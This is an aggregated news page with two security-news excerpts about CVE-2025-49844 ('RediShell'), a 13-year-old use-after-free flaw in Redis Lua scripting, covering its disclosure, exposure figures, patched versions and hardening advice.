Federal Office for Information Security (BSI) has also released an alert about the flaw, noting that in Germany alone there are about 4,000 Redis servers esposed without authentication. BSI pointed out that given the simplicity of the attack and the wide use of Redis, exploitation attempts are expected soon, especially once technical details become public. Wiz has refrained from sharing technical details for now. IT administrators have been advised to install updates immediately or, alternatively, to disable Lua scripting by using Access Control Lists (ACLs) to restrict the EVAL and EVALSHA commands. Wiz researchers also advised hardening Redis installations by: Enabling authentication Disabling unnecessary commands Operating Redis with a non-root user account Activating Redis logging and monitoring to track activity and identify potential issues Implementing network-level access control, and Limiting access to Redis only from authorized networks. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comOct 7, 2025extracted
13-Year-Old Redis Flaw Exposed: CVSS 10.0 Vulnerability Lets Attackers Run Code Remotely
Redis has disclosed details of a maximum-severity security flaw in its in-memory database software that could result in remote code execution under certain circumstances. The vulnerability, tracked as CVE-2025-49844 (aka RediShell), has been assigned a CVSS score of 10.0. "An authenticated user may use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free, and potentially lead to remote code execution," according to a GitHub advisory for the issue. "The problem exists in all versions of Redis with Lua scripting." However, for exploitation to be successful, it requires an attacker to first gain authenticated access to a Redis instance, making it crucial that users don't leave their Redis instances exposed to the internet and secure them with strong authentication. The issue impacts all versions of Redis. It has been addressed in versions 6.2.20, 7.2.11, 7.4.6, 8.0.4, and 8.2.2 released on October 3, 2025. As temporary workarounds until a patch can be applied, it's advised to prevent users from executing Lua scripts by setting an access control list (ACL) to restrict EVAL and EVALSHA commands. It's also crucial that only trusted identities can run Lua scripts or any other potentially risky commands. Cloud security company Wiz, which discovered and reported the flaw to Redis on May 16, 2025, described it as a use-after-free (UAF) memory corruption bug that has existed in the Redis source code for about 13 years. It essentially permits an attacker to send a malicious Lua script that leads to arbitrary code execution outside of the Redis Lua interpreter sandbox, granting them unauthorized access to the underlying host. In a hypothetical attack scenario, it can be leveraged to steal credentials, drop malware, exfiltrate sensitive data, or pivot to other cloud services. "This flaw allows a post auth attacker to send a specially crafted malicious Lua script (a feature supported by default in Redis) to escape from the Lua sandbox and achieve arbitrary native code execution on the Redis host," Wiz said. "This grants an attacker full access to the host system, enabling them to exfiltrate, wipe, or encrypt sensitive data, hijack resources, and facilitate lateral movement within cloud environments." While there is no evidence that the vulnerability was ever exploited in the wild, Redis instances are a lucrative target for threat actors looking to conduct cryptojacking attacks and enlist them in a botnet. As of writing, there are about 330,000 Redis instances exposed to the internet, out of which about 60,000 of them lack any authentication. "With hundreds of thousands of exposed instances worldwide, this vulnerability poses a significant threat to organizations across all industries," Wiz said. "The combination of widespread deployment, default insecure configurations, and the severity of the vulnerability creates an urgent need for immediate remediation."
thehackernews.comOct 7, 2025extracted
Loading 8 more…